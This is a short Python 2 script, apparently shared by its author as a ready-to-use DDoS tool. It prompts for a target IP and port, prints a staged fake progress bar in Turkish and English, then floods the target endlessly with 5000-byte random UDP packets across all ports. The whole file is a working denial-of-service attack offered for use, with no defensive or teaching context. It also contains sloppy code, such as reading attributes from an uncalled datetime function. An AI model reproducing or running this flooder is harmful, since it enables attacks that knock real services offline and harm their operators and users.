import sys
import os
import time
import socket
import random
#Code Time
from datetime import datetime
now = datetime.now
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year

##############
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(5000)
##############

os.system("clear")
os.system("DDos Attack Aktif Edildi")
print
print "Author    : Kralbaba11"
print "You Tube  : https://www.youtube.com/channel/UCCBnYvIr6F5Kq1zt6xBCSlA"
print "github    : https://github.com/Kralbaba11"
print "TeamSpeak : respect.tsgiris.net"
print
ip = raw_input("IP Target : ")
port = input("Port       : ")

os.system("clear")
os.system("figlet Attack Starting")
print "[DDOS ATTACK AKTİF] 0% "
time.sleep(5)
print "[DDOS ATTACK AKTİF] 5% "
time.sleep(5)
print "[DDOS ATTACK AKTİF] 10% "
time.sleep(5)
print "[DDOS ATTACK AKTİF] 15% "
time.sleep(5)
print "[DDOS ATTACK AKTİF] 20% "
time.sleep(5)
print "[DDOS ATTACK AKTİF] 25%"
time.sleep(5)
print "[DDOS ATTACK AKTİF] 30% "
time.sleep(5)
print "[DDOS ATTACK AKTİF] 35% "
time.sleep(5)
print "[DDOS ATTACK AKTİF] 40% "
time.sleep(5)
print "[DDOS ATTACK AKTİF] 45% "
time.sleep(5)
print "[DDOS ATTACK AKTİF] 50%"
time.sleep(5)
print "[DDOS ATTACK AKTİF] 55% "
time.sleep(5)
print "[DDOS ATTACK AKTİF] 60% "
time.sleep(5)
print "[DDOS ATTACK AKTİF] 65% "
time.sleep(5)
print "[DDOS ATTACK AKTİF] 70% "
time.sleep(5)
print "[DDOS ATTACK AKTİF] 75%"
time.sleep(5)
print "[DDOS ATTACK AKTİF] 80% "
time.sleep(5)
print "[DDOS ATTACK AKTİF] 85% "
time.sleep(5)
print "[DDOS ATTACK AKTİF] 90% "
time.sleep(5)
print "[DDOS ATTACK AKTİF] 95% "
time.sleep(5)
print "[DDOS ATTACK AKTİF] 100%"
time.sleep(3)
sent = 0
while True:
     sock.sendto(bytes, (ip,port))
     sent = sent + 1
     port = port + 1
     print "Sent %s packet to %s throught port:%s"%(sent,ip,port)
     if port == 65534:
       port = 1